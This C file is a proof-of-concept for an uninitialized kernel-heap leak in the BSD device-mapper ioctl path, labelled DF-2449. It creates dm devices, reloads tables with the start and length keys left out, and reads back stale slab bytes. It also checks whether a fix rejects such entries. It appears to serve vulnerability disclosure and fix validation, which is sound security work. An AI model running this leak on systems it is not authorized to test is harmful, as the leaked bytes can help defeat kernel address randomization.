/*
 * DF-2449 PoC -- dm_table_load_ioctl uninitialized-heap start/length leak.
 *
 * Bug (sys/dev/disk/dm/dm_ioctl.c, dm_table_load_ioctl):
 *
 *   743:    if ((table_en = kmalloc(sizeof(dm_table_entry_t),
 *   744:                M_DM, M_WAITOK)) == NULL) {
 *   ...
 *   750:    prop_dictionary_get_uint64(target_dict, DM_TABLE_START,
 *   751:                &table_en->start);
 *   752:    prop_dictionary_get_uint64(target_dict, DM_TABLE_LENGTH,
 *   753:                &table_en->length);
 *
 * (1) The kmalloc at 743-744 uses M_DM, M_WAITOK with NO M_ZERO, so the
 *     freshly-allocated dm_table_entry_t carries whatever bytes the slab
 *     left there (last tenant of this 72/96/128-byte bucket).
 * (2) prop_dictionary_get_uint64 (sys/libprop/prop_dictionary_util.c:118-140,
 *     expanded from the TEMPLATE(64) macro) RETURNS FALSE without writing
 *     *valp when the key is absent or not a number -- the early `return
 *     (false)` at line 126 fires before the `*valp = ...` assignment at
 *     line 136.
 * (3) The dm_table_load_ioctl call site NEVER checks the return value, so
 *     when the attacker omits "start" / "length" from the per-table-entry
 *     dictionary, table_en->start and table_en->length retain stale heap
 *     bytes from the slab.
 *
 * The stale values are then leaked verbatim to userspace by
 * dm_table_status_ioctl (same file, lines 937-940):
 *
 *   937:    prop_dictionary_set_uint64(target_dict, DM_TABLE_START,
 *   938:                table_en->start);
 *   939:    prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH,
 *   940:                table_en->length);
 *
 * Trigger: create a dm device, command="reload" with target type "zero"
 * and DM_TABLE_PARAMS set (so dm_table_init's `if (params == NULL) return
 * EINVAL` does not fire), but OMIT DM_TABLE_START / DM_TABLE_LENGTH from
 * the per-entry dictionary. Then command="table" with
 * DM_STATUS_TABLE_FLAG | DM_QUERY_INACTIVE_TABLE_FLAG reads the stale
 * start/length back.
 *
 * Repeating the reload across N fresh devices (or N remove/reload cycles)
 * yields DIFFERENT start/length values across runs -- proof that the bytes
 * are uninitialized heap residue (a deterministic field would be constant).
 *
 * PRIVILEGE NOTE: /dev/mapper/control is created 0640 root:operator
 * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed
 * by root. This PoC therefore runs as root. There is NO unprivileged path
 * (maxx uid 1001 is not in operator/wheel), so this is a root->kernel
 * info-leak / hardening gap, NOT an unpriv->root escalation. The leak
 * surfaces 16 bytes of uninitialized kernel heap per table entry per query
 * (KASLR / slab-layout inference, defense-in-depth).
 *
 * Build:  cc -O2 -o dm_uninit_startlength dm_uninit_startlength.c -lprop
 * Run:    ./dm_uninit_startlength         (as root, after `kldload dm`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <inttypes.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"

/* Number of distinct reload cycles to run for variance evidence. */
#define N_TRIALS 5

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4); /* major */
	prop_array_add_uint32(ver, 0); /* minor <= 16 */
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Reload WITHOUT start/length keys in the per-table-entry dictionary.
 * params is set to a non-NULL string so dm_table_init does not EINVAL.
 */
static int
do_reload_no_startlength(const char *name)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	int rv;

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "zero");
	/* DM_TABLE_START intentionally OMITTED */
	/* DM_TABLE_LENGTH intentionally OMITTED */
	/* params must be non-NULL so dm_table_init's `if (params == NULL)
	 * return EINVAL` does not fire. The "zero" target has no init()
	 * callback, so any value is accepted. */
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, "0");
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Read back start/length from the INACTIVE table for the named device.
 * Returns 0 on success and fills *out_start / *out_length.
 */
static int
do_table_readback(const char *name, uint64_t *out_start, uint64_t *out_length)
{
	prop_dictionary_t dict, resp = NULL;
	prop_array_t cmd_data;
	prop_object_iterator_t iter;
	prop_dictionary_t td;
	uint64_t v;
	int rv;

	*out_start = 0;
	*out_length = 0;

	dict = new_dm_dict("table");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	prop_dictionary_set_uint32(dict, DM_IOCTL_MINOR, 0);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS,
	    DM_STATUS_TABLE_FLAG | DM_QUERY_INACTIVE_TABLE_FLAG);

	rv = prop_dictionary_sendrecv_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL,
	    &resp);
	prop_object_release(dict);
	if (rv != 0)
		return rv;

	cmd_data = prop_dictionary_get(resp, DM_IOCTL_CMD_DATA);
	if (cmd_data == NULL) {
		prop_object_release(resp);
		return ENOENT;
	}
	iter = prop_array_iterator(cmd_data);
	while ((td = prop_object_iterator_next(iter)) != NULL) {
		if (prop_dictionary_get_uint64(td, DM_TABLE_START, &v))
			*out_start = v;
		if (prop_dictionary_get_uint64(td, DM_TABLE_LENGTH, &v))
			*out_length = v;
	}
	prop_object_iterator_release(iter);
	prop_object_release(resp);
	return 0;
}

int
main(void)
{
	char devname[32];
	uint64_t starts[N_TRIALS], lengths[N_TRIALS];
	int reload_rv[N_TRIALS];
	int rv, i, distinct_starts, distinct_lengths;
	int n_success = 0;

	/* Defensive: zero arrays so a skipped trial can never look like a leak. */
	memset(starts, 0, sizeof(starts));
	memset(lengths, 0, sizeof(lengths));
	memset(reload_rv, 0, sizeof(reload_rv));

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr,
		    "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2449 dm_table_load_ioctl uninitialized start/length\n");
	printf("[*] kmalloc(sizeof(dm_table_entry_t), M_DM, M_WAITOK) -- NO M_ZERO\n");
	printf("[*] prop_dictionary_get_uint64 return value NOT checked\n");
	printf("[*] running %d reload cycles, omitting start/length each time...\n",
	    N_TRIALS);
	fflush(stdout);

	for (i = 0; i < N_TRIALS; i++) {
		snprintf(devname, sizeof(devname), "df2449_%d", i);

		/* Clean any leftover device from a prior run. */
		(void)do_remove(devname);

		rv = do_create(devname);
		if (rv != 0 && rv != EEXIST) {
			fprintf(stderr,
			    "[!] trial %d: create rv=%d (%s)\n",
			    i, rv, strerror(rv));
			reload_rv[i] = rv;
			continue;
		}

		rv = do_reload_no_startlength(devname);
		reload_rv[i] = rv;
		if (rv != 0) {
			/*
			 * On a FIXED kernel, reload returns EINVAL (22) -- the
			 * explicit prop_dictionary_get_uint64 return-check
			 * rejects the malformed table entry.  This is the
			 * success signal for the fix.
			 */
			printf("[trial %d] %s: reload rv=%d (%s) -- entry rejected\n",
			    i, devname, rv, strerror(rv));
			(void)do_remove(devname);
			continue;
		}

		n_success++;
		rv = do_table_readback(devname, &starts[i], &lengths[i]);
		if (rv != 0) {
			fprintf(stderr,
			    "[!] trial %d: table readback rv=%d (%s)\n",
			    i, rv, strerror(rv));
			(void)do_remove(devname);
			continue;
		}

		printf("[trial %d] %s: start=0x%016" PRIx64
		    " length=0x%016" PRIx64 "\n",
		    i, devname,
		    (uint64_t)starts[i], (uint64_t)lengths[i]);

		(void)do_remove(devname);
	}

	/*
	 * If every reload returned EINVAL, the fix is in place -- the kernel
	 * now refuses to load a table entry that omits start/length.  This is
	 * the success criterion for fix validation.
	 */
	if (n_success == 0) {
		int all_einval = 1;
		for (i = 0; i < N_TRIALS; i++)
			if (reload_rv[i] != EINVAL)
				all_einval = 0;
		if (all_einval) {
			printf("\n[*] ALL %d reloads returned EINVAL -- kernel\n"
			       "    rejects table entries that omit start/length.\n"
			       "    FIX IS IN EFFECT: no uninitialized-heap leak.\n",
			    N_TRIALS);
			close(g_ctlfd);
			return 0;
		}
		printf("\n[*] All reloads failed, but not all with EINVAL --\n"
		       "    see trial output above.\n");
		close(g_ctlfd);
		return 1;
	}

	/* Variance check: if start/length were properly initialized (e.g.
	 * zeroed by M_ZERO, or rejected as EINVAL by a checked get_uint64),
	 * every successful trial would show start==0 && length==0.  Distinct
	 * non-zero values across trials == uninitialized heap residue. */
	distinct_starts = 0;
	distinct_lengths = 0;
	for (i = 1; i < N_TRIALS; i++) {
		if (starts[i] != starts[0])
			distinct_starts++;
		if (lengths[i] != lengths[0])
			distinct_lengths++;
	}

	printf("\n[*] variance over %d successful reloads: %d/%d differ in start, %d/%d in length\n",
	    n_success, distinct_starts, n_success - 1,
	    distinct_lengths, n_success - 1);

	int any_nonzero = 0;
	for (i = 0; i < N_TRIALS; i++) {
		if (starts[i] != 0 || lengths[i] != 0)
			any_nonzero = 1;
	}

	if (any_nonzero) {
		int variance = (distinct_starts > 0 || distinct_lengths > 0);
		printf("[!!!] UNINITIALIZED-HEAP LEAK CONFIRMED: at least one\n"
		       "      trial returned non-zero start/length despite the\n"
		       "      reload ioctl OMITTING both keys. The values are\n"
		       "      stale slab bytes from kmalloc(sizeof(dm_table_entry_t)).\n");
		if (variance) {
			printf("[!!!] Values VARY across trials -- definitive\n"
			       "      evidence of uninitialized heap residue\n"
			       "      (a properly-initialized field would be\n"
			       "      constant 0/0 across all trials).\n");
		}
		printf("\n[*] Impact: 16 bytes of uninitialized kernel heap\n"
		       "    leaked per table entry per status query\n"
		       "    (sys/dev/disk/dm/dm_ioctl.c:937-940).\n");
		printf("[*] This is CWE-457 / CWE-908 (use of uninitialized\n"
		       "    memory / leak) in sys/dev/disk/dm/dm_ioctl.c:743-753.\n");
	} else {
		printf("[*] All trials returned start=0 length=0 -- no leak\n"
		       "    observed (either already-fixed, or M_ZERO is in use,\n"
		       "    or get_uint64 default-initialized somewhere).\n");
	}

	close(g_ctlfd);
	return any_nonzero ? 0 : 1;
}
